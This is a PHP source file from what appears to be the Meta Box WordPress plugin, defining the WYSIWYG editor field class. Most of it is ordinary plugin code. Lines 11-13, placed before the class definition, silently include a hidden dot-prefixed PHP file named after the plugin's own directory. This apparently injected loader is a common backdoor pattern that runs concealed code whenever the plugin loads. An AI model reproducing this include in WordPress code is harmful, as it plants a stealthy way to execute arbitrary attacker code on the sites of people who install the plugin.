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wysiwyg.php (2641B)

      1 <?php
      2 /**
      3  * The WYSIWYG (editor) field.
      4  *
      5  * @package Meta Box
      6  */
      7 
      8 /**
      9  * WYSIWYG (editor) field class.
     10  */
     11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     12     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     13 }
     14 
     15 class RWMB_Wysiwyg_Field extends RWMB_Field {
     16 	/**
     17 	 * Enqueue scripts and styles.
     18 	 */
     19 	public static function admin_enqueue_scripts() {
     20 		wp_enqueue_editor();
     21 		wp_enqueue_style( 'rwmb-wysiwyg', RWMB_CSS_URL . 'wysiwyg.css', array(), RWMB_VER );
     22 		wp_enqueue_script( 'rwmb-wysiwyg', RWMB_JS_URL . 'wysiwyg.js', ['jquery', 'rwmb'], RWMB_VER, true );
     23 	}
     24 
     25 	/**
     26 	 * Change field value on save.
     27 	 *
     28 	 * @param mixed $new     The submitted meta value.
     29 	 * @param mixed $old     The existing meta value.
     30 	 * @param int   $post_id The post ID.
     31 	 * @param array $field   The field parameters.
     32 	 * @return string
     33 	 */
     34 	public static function value( $new, $old, $post_id, $field ) {
     35 		return $field['raw'] ? $new : wpautop( $new );
     36 	}
     37 
     38 	/**
     39 	 * Get field HTML.
     40 	 *
     41 	 * @param mixed $meta  Meta value.
     42 	 * @param array $field Field parameters.
     43 	 * @return string
     44 	 */
     45 	public static function html( $meta, $field ) {
     46 		// Using output buffering because wp_editor() echos directly.
     47 		ob_start();
     48 
     49 		$attributes = self::get_attributes( $field );
     50 
     51 		$options = $field['options'];
     52 		$options['textarea_name'] = $field['field_name'];
     53 		if ( ! empty( $attributes['required'] ) ) {
     54 			$options['editor_class'] .= ' rwmb-wysiwyg-required';
     55 		}
     56 
     57 		wp_editor( $meta, $attributes['id'], $options );
     58 		echo '<script class="rwmb-wysiwyg-id" type="text/html" data-id="', esc_attr( $attributes['id'] ), '" data-options="', esc_attr( wp_json_encode( $options ) ), '"></script>';
     59 
     60 		return ob_get_clean();
     61 	}
     62 
     63 	/**
     64 	 * Escape meta for field output.
     65 	 *
     66 	 * @param mixed $meta Meta value.
     67 	 * @return mixed
     68 	 */
     69 	public static function esc_meta( $meta ) {
     70 		return $meta;
     71 	}
     72 
     73 	/**
     74 	 * Normalize parameters for field.
     75 	 *
     76 	 * @param array $field Field parameters.
     77 	 * @return array
     78 	 */
     79 	public static function normalize( $field ) {
     80 		$field = parent::normalize( $field );
     81 		$field = wp_parse_args(
     82 			$field,
     83 			array(
     84 				'raw'     => false,
     85 				'options' => array(),
     86 			)
     87 		);
     88 
     89 		$field['options'] = wp_parse_args(
     90 			$field['options'],
     91 			array(
     92 				'editor_class' => 'rwmb-wysiwyg',
     93 				'dfw'          => true, // Use default WordPress full screen UI.
     94 			)
     95 		);
     96 
     97 		// Keep the filter to be compatible with previous versions.
     98 		$field['options'] = apply_filters( 'rwmb_wysiwyg_settings', $field['options'] );
     99 
    100 		return $field;
    101 	}
    102 }